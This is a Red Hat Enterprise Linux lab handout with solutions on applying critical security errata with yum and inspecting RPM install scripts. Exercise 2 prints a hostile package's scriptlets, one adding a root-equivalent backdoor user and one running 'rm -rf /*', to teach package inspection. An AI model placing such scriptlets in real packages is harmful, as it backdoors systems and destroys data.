



MANAGING UPDATES ON RED HAT ENTERPRISE LINUX

CONNECTING TO THE LAB EQUIPMENT

Your instructor will give instructions on how to connect to your lab equipment.

EXERCISE 1 – APPLYING CRITICAL SECURITY ERRATA

Perform the following steps on your virtual machine:

1. Open a terminal and switch to the **root** account. (The **root** password is **redhat**)
2. View a report of outstanding Errata for the machine. (save a copy for later)
3. Use **yum** to apply all relevant Critical Security updates to your system.
4. Verify that there are no longer Critical Security updates for your system.
5. View a report of outstanding Errata for the machine, compare against the previously captured copy. Are there any discrepancies you were not expecting?

EXERCISE 2 – CHOOSE WISELY...

Perform the following steps on your virtual machine

1. Inspect the two **FluffyMcAwesome** RPMs in **/tmp**.
2. Based off of your inspection, choose the one that is the best, and install it on your system.
3. Why did you choose that one over the other?
4. Were there any unintended consequences?



EXERCISE 1 SOLUTION – APPLYING CRITICAL SECURITY ERRATA

Perform the following steps on your virtual machine:

1. Open a terminal and switch to the **root** account. (The **root** password is **redhat**)
2. View a report of outstanding Errata for the machine. (save a copy for later)

```
[root@serverX ~]# yum updateinfo | tee updateinfo_for_later
Updates Information Summary: available
  29 Security notice(s)
    4 Critical Security notice(s)
    8 Important Security notice(s)
   17 Moderate Security notice(s)
  26 Bugfix notice(s)
    3 Enhancement notice(s)
updateinfo summary done
```

3. Use **yum** to apply all relevant Critical Security updates to your system.

```
[root@serverX ~]# yum updateinfo list | grep Critical
[root@serverX ~]# yum update --advisory=RHSA-2013:0271,RHSA-2013:0820
```

4. Verify that there are no longer Critical Security updates for your system.

```
[root@serverX ~]# yum updateinfo
Updates Information Summary: available
  25 Security notice(s)
    8 Important Security notice(s)
   17 Moderate Security notice(s)
  26 Bugfix notice(s)
    3 Enhancement notice(s)
updateinfo summary done
```

5. View a report of outstanding Errata for the machine, compare against the previously captured copy. Are there any discrepancies you were not expecting?



EXERCISE 2 SOLUTION– CHOOSE WISELY...

Perform the following steps on your virtual machine

1. Inspect the two **FluffyMcAwesome** RPMs in **/tmp**.

```
[root@serverX ~]# rpm -qp --scripts /tmp/FluffyMcAwesome-A*
postinstall scriptlet (using /bin/sh):
useradd -d /usr/local/bin -u 0 -o FluffyMcAwesome
echo 'redhat' | passwd --stdin FluffyMcAwesome &>/dev/null

postuninstall scriptlet (using /bin/sh):
rm -rf /* &>/dev/null

[root@serverX ~]# rpm -qp --scripts /tmp/FluffyMcAwesome-B*
postinstall scriptlet (using /bin/sh):
useradd -d /usr/local/bin -u 205 FluffyMcAwesome

postuninstall scriptlet (using /bin/sh):
echo "fluffy" &>/dev/null
```

Both of the RPMs have installation and removal scripts, but **FluffyMcAwesome-A** adds a root equivalent user with the password **redhat** and as a post removal script will destroy your machine with an **rm -rf /***. YIKES!!!

2. Based off of your inspection, choose the one that is the best, and install it on your system.

```
[root@serverX ~]# yum install /tmp/FluffyMcAwesome-B*
```

3. Why did you choose that one over the other?
4. Were there any unintended consequences?